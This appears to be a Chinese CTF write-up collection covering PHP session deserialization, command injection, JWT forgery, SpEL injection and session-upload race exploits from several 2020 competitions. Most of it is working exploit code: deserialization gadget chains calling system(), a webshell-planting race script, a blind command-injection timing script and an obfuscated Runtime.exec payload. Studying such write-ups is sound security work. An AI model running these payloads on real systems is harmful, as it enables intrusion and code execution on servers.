具体分析 解题的思路,主要利用原有函数的读写操作和session导致的反序列化(主要是造齿轮类的反序列化),后一部分的原来,可以看这篇文章session serialize
先以正常的读写过程为例
1 2 3 4 5 6 7 8 9 st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op3->op4->op5->op6->e
1 2 3 4 5 6 7 8 9 10 st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 总结,write(storage/note_PHPSESSID,post_note) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op6->e
1 2 3 4 5 6 7 8 9 10 st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id']) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op6->e
漏洞产生:
当file_get_contents
和file_put_contents
会对/right_path/../path_name
、/error_path/../path_name
会产生不同的操作
/right_path/../path_name
不会执行
/error_path/../path_name
会执行
即 write(storage/note_fe1w0/../sess_xz)成功
这样我们就可以利用收获函数的session读取,导致造齿轮类反序列化.
具体payload 可以看https://www.anquanke.com/post/id/216289#h3-6 ,
因为我在复现过程,发现疑惑且无法解答
先放出齿轮类反序列化流程图
1 2 3 4 5 6 7 8 9 10 11 12 13 st=>start: __contruct op1=>operation: 挖掘,检查PHPSESSID是否在黑名单 op2=>operation: 收获,read(storage/sess_PHPSESSID),贡品=货物 op7=>operation: 脚本 array_push($_SESSION['items'], $_POST['id']) op3=>operation: __destruct op4=>operation: 归纳,read(storage/note_PHPSESSID) op5=>operation: 总结,write(storage/note_PHPSESSID,归纳),当PHPSESSID为空时,return NULL op8=>operation: __destruct + 反序列化 op4=>operation: 归纳,read(storage/$this->贡品) op5=>operation: 总结,write(storage/$this->贡品,归纳),当PHPSESSID为空时,return NULL op6=>operation: 种植,write(storage/sess_PHPSESSID,session_serialize) e=>end: 完毕 st->op1->op2->op7->op3->op4->op5->op8->op4->op5->op6->e
可以对比无post_note
情况下流程图,可以发现要生成node_cmd.php
的前提条件为file_put_contents(/error_path)
orfile_put_contents(new_file)
可以执行,否则将无法谢shell
但回顾到一开始的状态,即无post_note
情况下流程图,会发现若file_put_contents(/error_path)
orfile_put_contents(new_file)
可以执行,这样的话,在get
方式请求时,都会生成两个文件。
更坑的是,当你到第二步,想利用/error_path/../sess_name
执行时,会导致sess_name会被写两次,导致无法实际控制
以下是我在假设环境符合题意下的payload 学习,若以上想法有什么问题,还请师傅们斧正.👍
当然由于path可控,那就可以直接尝试读取flag
1 2 3 4 5 6 7 8 9 10 11 <?php class 造齿轮 { protected $朝拜圣地 = 'storage' ; protected $贡品 = 'xz/../sess_xz' ; protected $圣殿 = 'cmd.php' ; protected $禁地 = '' ; } ini_set('session.save_path' , '.' ); session_start(); $_SESSION['a' ] = new 造齿轮();
1 2 3 Cookie : PHPSESSID=xz/../sess_xzasnote=a%7CO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A13%3A%22xz%2F..%2Fsess_xz%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A7%3A%22cmd.php%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3Bs%3A0%3A%22%22%3B%7D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /babycode/ HTTP/1.1Host : 192.168.21.136Proxy-Connection : keep-aliveContent-Length : 35Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://192.168.21.136Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://192.168.21.136/babycode/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=xzid : <?php phpinfo();?>
sess_xz
内容
1 balance|i:2233 ;items|a:1 :{i:0 ;s:18 :"<?php phpinfo();?>" ;}note|s:0 :"" ;
导入sess_xzas
,进行反序列化,将sess_xz
中内容导入到node_cmd.php
1 2 3 4 5 6 7 8 9 GET /babycode/ HTTP/1.1Host : 192.168.21.136Proxy-Connection : keep-aliveUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=xzas
之后就可以访问node_cmd.php
1 balance|i:2233 ;items|a:1 :{i:0 ;s:18 :"<?php phpinfo();?>" ;}note|s:0 :"" ;
learn from
MISC crymisc 参考连接:
https://blog.xiafeng2333.top/ctf-30/
1 2 🔭💙🐰✊🌻🐧💙😘🌻🍶💐🍌🏊🍩🚁🏊👹🐶😀🐶😀😘👹💙🍂💇😀😀😩🌻🍟👂🍶💐🍌🏊🍩👆🏠🙇🍂🍂👼😱🚔🐶👉✊😱🏠🙇🍂🍂👼😱🚊😧💨💙💕 That is what i told her↑↑↑
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17/files/cracker
🐏城杯
web easycon 扫到 index.php
,根据提示 上antsword
下载bbbbbbbb.txt
,再转成flag.gif
1 cat bbbbbbbbb.txt |base64 -d >flag.gif
BlackCat 根据提示查看mp3
view-source:http://183.129.189.60:10022/Hei_Mao_Jing_Chang.mp3
在最后几行,存在代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (empty ($_POST['Black-Cat-Sheriff' ]) || empty ($_POST['One-ear' ])){ die ('Ë£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡' ); } $clandestine = getenv("clandestine" ); if (isset ($_POST['White-cat-monitor' ])) $clandestine = hash_hmac('sha256' , $_POST['White-cat-monitor' ], $clandestine); $hh = hash_hmac('sha256' , $_POST['One-ear' ], $clandestine); if ($hh !== $_POST['Black-Cat-Sheriff' ]){ die ('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£' ); } echo exec("nc" .$_POST['One-ear' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests import hmac url = "http://183.129.189.60:10022/" data1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" str = "" for t in range(1 , 400 ): for i in data1: one = "1;if [ $(cat flag*|base64|cut -c %i) = \"%s\" ];then sleep 6;fi" % (t, i) key = b'' black = hmac.new (key, one.encode('utf-8' ), 'sha256' ).hexdigest() data2 = { "Black-Cat-Sheriff" : black, "One-ear" : one, "White-cat-monitor[]" : "1" } try : res1 = requests.post(url, data=data2, timeout=4 ) except: str = str + i print (str) break
easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } } if (!isset ($_GET['content' ]) || !isset ($_GET['filename' ])) { highlight_file(__FILE__ ); die (); } $content = $_GET['content' ]; if (stristr($content,'on' ) || stristr($content,'html' ) || stristr($content,'type' ) || stristr($content,'flag' ) || stristr($content,'upload' ) || stristr($content,'file' )) { echo "Hacker" ; die (); } $filename = $_GET['filename' ]; if (preg_match("/[^a-z\.]/" , $filename) == 1 ) { echo "Hacker" ; die (); } $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world" ); ?>
1 2 3 4 5 http: http: GWHT{easyApache} Hello, world
easyphp2 Coo kie:pass=GWHT
绕过第一层
使用file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
1 The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "
http://183.129.189.60:10025/GWHT.php?count=1' | whoami ||'
1 2 ?file=GWHT.php&count=1' | find / -name flag* > fe1w0||' /GWHT/system/of/a/down/flag.txt
www-data
没有读flag.txt
权限
cat /GWHT/*
得到GWHT
加密后密码, 在https://www.somd5.com/
查询得到GWHTCTF
最后,登录GWHT
账号,读取flag.txt
。
1 2 3 4 5 www-data@18c88ee78e67:/var/www/html$ su GWHT su GWHT Password: GWHTCTF cat /GWHT/system/of/a/down/flag.txt GWHT{Y0U_H4VE_A_BETTER_SK1LL}
DDCTF-2020 web Web签到题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PS C:\WINDOWS\System32> curl.exe http://117.51 .136.197 /hint/1 .txtInterface documentation - login interface [-][Safet Reminder ]The Private key cannot use request parameter Request Method | POST URL | http://117.51 .136.197 /admin/login Param | username str | pwd strResponse token str | auth(Certification information) - auth interface Request Method | POST URL | http://117.51 .136.197 /admin/auth Param | username str | pwd str | token strResponse url str | client download link +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client(Linux) | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+
1 2 PS C:\WINDOWS\System32> curl.exe -X POST http://117.51 .136.197 /admin/login -d 'username=1&pwd=1' {"code" :0 ,"message" :"success" ,"data" :"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMTMzOH0.n6AKHW8cOrmKyFZhIIeV66ZcUHx2b-D-lxT0mEheWUE" }
1 2 3 4 5 6 7 8 9 10 11 { "typ" : "JWT" , "alg" : "HS256" } { "userName" : "1" , "pwd" : "1" , "userRole" : "GUEST" , "exp" : 159 xxxxxxx }
这时只要细心观察或用jwtcrack
爆破,就会发现Secret
为pwd
1 2 ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMjA4OX0.TgqnVS7NyDbmX4M38Ow-K8ilgFYHx5-jzbOxUPYxoyw Secret is "1"
那么我们就根据jwt
格式编写admin
的jwt
就行
1 2 3 4 5 6 7 8 9 10 import jwta = { "userName" : "admin" , "pwd" : "fe1w0" , "userRole" : "ADMIN" , "exp" : 1599322683 } jj=jwt.encode(a,'fe1w0' , algorithm='HS256' ) print(jj)
获得下载链接http://117.51.136.197/B5Itb8dFDaSFWZZo/client
1 2 PS C:\WINDOWS\System32> curl.exe -X POST http://117.51 .136.197 /admin/auth -d 'username=admin&pwd=fe1w0&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiZmUxdzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiZXhwIjoxNTk5MzIyNjgzfQ.toeN4J1eAkPmZFnYXsL4qNqHhPF31YnKPv6VjZV7n_M' {"code" :0 ,"message" :"success" ,"data" :"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 fe1w0@fe1w0:~$ ./client 2020/09/05 00:43:57 ____ _ ____ _ ____ _____ _____ ____ ____ ____ ____ / _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \ | | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \| | |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/| \____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/ 2020/09/05 00:43:57 +---------------------------------------------------+ |Flag Path := /home/dc2-user/flag/flag.txt | |签名格式 := command |time_stamp | +---------------------------------------------------+ 2020/09/05 00:43:57 +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+ 2020/09/05 00:43:57 [*]Start ping master... 2020/09/05 00:43:58 [-]http://117.51.136.197/server/health connect succuess 2020/09/05 00:43:58 [*]Start send command to minions... 2020/09/05 00:43:58 [+]get sign:F75PJ/5iqAUAek5+0lXL6WJgslyD0Wn5X5l4gGCICwI=, command :'DDCTF' , time_stamp:1599237838 2020/09/05 00:43:58 [+]send command url and response:{"code" :0,"message" :"success" ,"data" :"DDCTF" }
wireshark抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 GET /server/health HTTP/1.1 Host: 117.51.136.197 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip HTTP/1.1 200 Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Sep 2020 11:48:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive 2a {"code":0,"message":"success","data":null} 0 POST /server/command HTTP/1.1 Host: 117.51.136.197 User-Agent: Go-http-client/1.1 Content-Length: 103 Content-Type: application/json Accept-Encoding: gzip {"signature":"vwrEgR0HccLWvCB+FsgFevwkazZ5JmMECH8cDaBicuA=","command":"'DDCTF'","timestamp":1599306517}HTTP/1.1 200 Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Sep 2020 11:48:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive 2d {"code":0,"message":"success","data":"DDCTF"} 0
signature 伪造 from saltstack_hmac
比赛后问别的师傅,是 SPEL_SSTI 学习到了 ssti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import hmacimport hashlibimport base64import timeimport requestsimport jsonkey = b'DDCTFWithYou' t = str(int(time.time())) command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}" message = '''%s|%s''' %(command,t) h = hmac.new(key, bytes(message, encoding = "utf8" ), hashlib.sha256).digest() my_sign = base64.standard_b64encode(h) my_sign = str(my_sign, encoding = "utf-8" ) data = '''{"signature":"%s","command":"%s","timestamp":%s}''' %(my_sign,command,t) res = requests.post('http://117.51.136.197/server/command' ,data=data) print(res.text)
Overwrite Me [暂时未复现] MISC 一起拼图吗 PS 拼图即可
1 DDCTF{484e61cd1483c34d08e4d76f9022d03b}
WMCTF web web_checkin
我一直以为要伪协议来绕过exit,见P神谈一谈php://filter的妙用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0 ); $sandbox = 'D:/phpstudy_pro/WWW/test/' . md5($_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); highlight_file(__FILE__ ); if (isset ($_GET['content' ])) { $content = $_GET['content' ]; if (preg_match('/iconv|UCS|UTF|rot|quoted|base64/i' ,$content)) die ('hacker' ); if (file_exists($content)) require_once ($content); file_put_contents($content,'<?php exit();' .$content); }
但这题直接读就行。
Make PHP Great Again
参考
利用session.upload_progress进行文件包含和反序列化渗透
LFI 绕过 Session 包含限制 Getshell
PHP LFI 利用临时文件 Getshell 姿势
此题
apache2配置信息 http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/etc/apache2/apache2.conf
/proc/self/maps
读取内存映射的相关信息
但php.ini还是读不了,但可以根据2.0得到提示为/tmp
文件夹下
默认文件夹,如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import ioimport requestsimport threadingsessid = 'XZASFE1W0' data = {"cmd" :'system("cat flag.php");' } def write (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php' , data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST["cmd"]);?>' }, files={'file' : ('test.txt' ,f)}, cookies={'PHPSESSID' : sessid} ) def read (session ): while True : resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_' +sessid,data=data) if 'test.txt' in resp.text: print(resp.text) event.clear() else : print("[+++++++++++++]retry" ) if __name__=="__main__" : event=threading.Event() with requests.session() as session: for i in range(1 ,30 ): threading.Thread(target=write,args=(session,)).start() for i in range(1 ,30 ): threading.Thread(target=read,args=(session,)).start() event.set()
Make PHP Great Again 2.0 与1.0 的区别:
1.0: \#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground
require_once 和 include_once 原理
再一次, 不要使用(include/require)_once
尝试解析文件的绝对路径, 如果能解析成功, 则检查EG(included_files), 存在则返回, 不存在继续
打开文件, 得到文件的打开路径(opened path)
拿opened path去EG(included_files)查找, 是否存在, 如果存在则返回, 不存在继续
编译文件(compile_file)
payload
1 /x/../proc/self/cwd/flag
比赛和复现过程中遇到的好文章:
Security in PHP - 那些在滲透測試的小技巧
webweb
https://fatfreeframework.com/3.7/getting-started
这题是真滴累
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $f3=require ('lib/base.php' ); $f3->set('DEBUG' ,1 ); if ((float )PCRE_VERSION<8.0 ) trigger_error('PCRE version is out of date' ); $f3->config('config.ini' ); $f3->route('GET /' , function ($f3 ) { echo "just get me a,don't do anything else" ; } ); unserialize($_GET['a' ]); $f3->run();
index.php
的执行顺序,如下:
框架初始化和配置文件导入
设置一个get请求方式的路由器
反序列化 参数a
f3执行
ws.php
websocket RFC6455 手册
简介版
从index.php
的执行顺序来看,代码必定会加载ws.php
来进行网络通信,在WS
和Agent
类中都有回调函数,其中Agent
类中的__destruct()
方法最好调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function __destruct ( ) { if (isset ($this ->server->events['disconnect' ]) && is_callable($func=$this ->server->events['disconnect' ])) $func($this ); } function __construct ($server,$socket,$verb,$uri,array $hdrs ) { $this ->server=$server; $this ->id=stream_socket_get_name($socket,TRUE ); $this ->socket=$socket; $this ->verb=$verb; $this ->uri=$uri; $this ->headers=$hdrs; if (isset ($server->events['connect' ]) && is_callable($func=$server->events['connect' ])){ $func($this ); } }
按道理来说__construct
中的回调函数应该也可,但本地测试时,一直失败
测试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace cli ;class WS { public function __construct ( ) { $this =$this ; $this ->agents = new Agent($this ); } } namespace cli ;class Agent { public function __construct ($ws ) { $this ->server=$ws; $this ->events = array ("disconnect" =>"var_dump" ); } } echo (serialize(new WS()));
但此处得到的payload无效,var_dump并不会执行
php 对象引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class A { public $AA; function __construct ( ) { $this ->AA=new B($this ); } } class B { public $BB; function __construct ($BB ) { $this ->BB=$BB; } } $a = new A(); echo serialize($a)."\n" ;
其中的r
表示对象引用,而后的数字r :< number >
,可以理解为序列化的层数
见 PHP 序列化(serialize)格式详解
1 2 3 O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:1;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}} # r:1转为r:2 O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}
但不知为什么r:1
转为r:2
, 即$this->server=$this
payload就可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php namespace cli ;class WS { public function __construct ( ) { $this ->agents = new Agent($this ); } } namespace cli ;class Agent { public function __construct ( ) { $this ->server=$this ; $this ->events = array ("disconnect" =>"var_dump" ); } } echo (serialize(new WS()));
下一步: 使$this->server=$this;
可控
利用db\sql\mapper.php
中的__call()
函数来 getshell
原本想试试db\sql.php
虽然__call()
也可以控制,方法跟下面差不多,就是数组那个要写成[对象|类,函数名]
的形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function __call ($func,$args ) { return call_user_func_array( (array_key_exists($func,$this ->props)? $this ->props[$func]: $this ->$func),$args ); } function find ($filter=NULL ,array $options=NULL ,$ttl=0 ) { if (!$options) $options=[]; $options+=[ 'group' =>NULL , 'order' =>NULL , 'limit' =>0 , 'offset' =>0 ]; $adhoc='' ; foreach ($this ->adhoc as $key=>$field) $adhoc.=',' .$field['expr' ].' AS ' .$this ->db->quotekey($key); return $this ->select( ($options['group' ] && !preg_match('/mysql|sqlite/' ,$this ->engine)? $options['group' ]: implode(',' ,array_map([$this ->db,'quotekey' ], array_keys($this ->fields)))).$adhoc,$filter,$options,$ttl); }
此外,将$this->db = $this
,
上面代码可以简化为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class A { public $AA; public $num = 1 ; public $cmd = "whoami" ; public $props; function __construct ( ) { $this ->AA=$this ; $this ->props = array ("kali" =>"system" ); } function __call ($func,$args ) { return call_user_func_array( (array_key_exists($func,$this ->props)? $this ->props[$func]: $this ->$func),$args ); } function find ( ) { $this ->AA->kali($this ->cmd); } } $aa = new A(); $aa->find();
故此,payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php namespace DB \SQL ;class Mapper { public $props; public function __construct ( ) { $this ->adhoc=['ls' =>["xz" =>"fe10" ]]; $this ->fields=[]; $this ->props = ['quotekey' => "system" ]; $this ->db = $this ; } } namespace cli ;use DB \SQL \Mapper ;class Agent { public function __construct ( ) { $this ->server = $this ; $this ->events = ["disconnect" => new Mapper()]; } } namespace cli ;class WS { public function __construct ( ) { $this ->test = new Agent(); } } echo (serialize(new WS()));
但这样会导致isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])
为false
需要$this->events = ["disconnect" => new Mapper()];
改为*$**this*->events = ["disconnect" => [new Mapper()],'find'];
为什么要写find
以及在后面
写的原因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (is_callable([new A(),"find" ])){ echo "true" ; } if (is_callable(["find" ,new A()])){ echo "true" ; } if (is_callable([new A()])){ echo "true" ; } if (is_callable(new A())){ echo "true" ; } echo serialize([new A(),"find" ])."\n" ;echo serialize(["find" ,new A()])."\n" ;echo serialize([new A()])."\n" ;echo serialize(new A())."\n" ;
这四个if中,只有第一个是正确的,感觉这个跟执行顺序有关
以正确的payload为例
1 O:6:"cli\WS":1:{s:4:"test";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:2:{s:10:"disconnect";a:1:{i:0;O:13:"DB\SQL\Mapper":4:{s:5:"props";a:1:{s:8:"quotekey";s:6:"system";}s:5:"adhoc";a:1:{s:2:"ls";a:1:{s:2:"xz";s:5:"fe1w0";}}s:6:"fields";a:0:{}s:2:"db";r:6;}}i:0;s:4:"find";}}}
db
的r:<number>
为6,同时db
还指向自己一次,即多加了一层,}}
回退两次后,到达的层为\DB\Cursor
,而在\DB\Cursor
的方法中只有find
函数符合要求
\DB\Cursor
原因 class Mapper *extends* \DB\Cursor
1 2 3 4 5 6 7 8 abstract function find ($filter=NULL ,array $options=NULL ,$ttl=0 ) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php namespace DB \SQL ;class Mapper { public $props; public function __construct ( ) { $this ->adhoc=['ls' =>["xz" =>"fe1w0" ]]; $this ->fields=[]; $this ->props = ['quotekey' => "system" ]; $this ->db = $this ; } } namespace cli ;use DB \SQL \Mapper ;class Agent { public function __construct ( ) { $this ->server = $this ; $this ->events = ["disconnect" => [new Mapper(),"find" ]]; } } namespace cli ;class WS { public function __construct ( ) { $this ->test = new Agent(); } } echo (serialize(new WS()));
web_checkin2
这题好像坏了,一直打不开
思路:
利用session.upload_progress进行文件包含和反序列化渗透
LFI 绕过 Session 包含限制 Getshell
PHP LFI 利用临时文件 Getshell 姿势
但后面出题方放弃修这道题,无法正常访问。
其他
web noclass
很有意思一道题,靠🦌🥚弄的
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $flag = "flag" ; $f = new stdClass (); $f->c = "haha" ; $f->d = &$f->c; echo serialize($f);$b = $f; $b->c = $flag; echo serialize($b);foreach ($b as $key => $value){ if ($key==='c' ) { continue ; } echo $value; }
安恒八月[暂时未复现]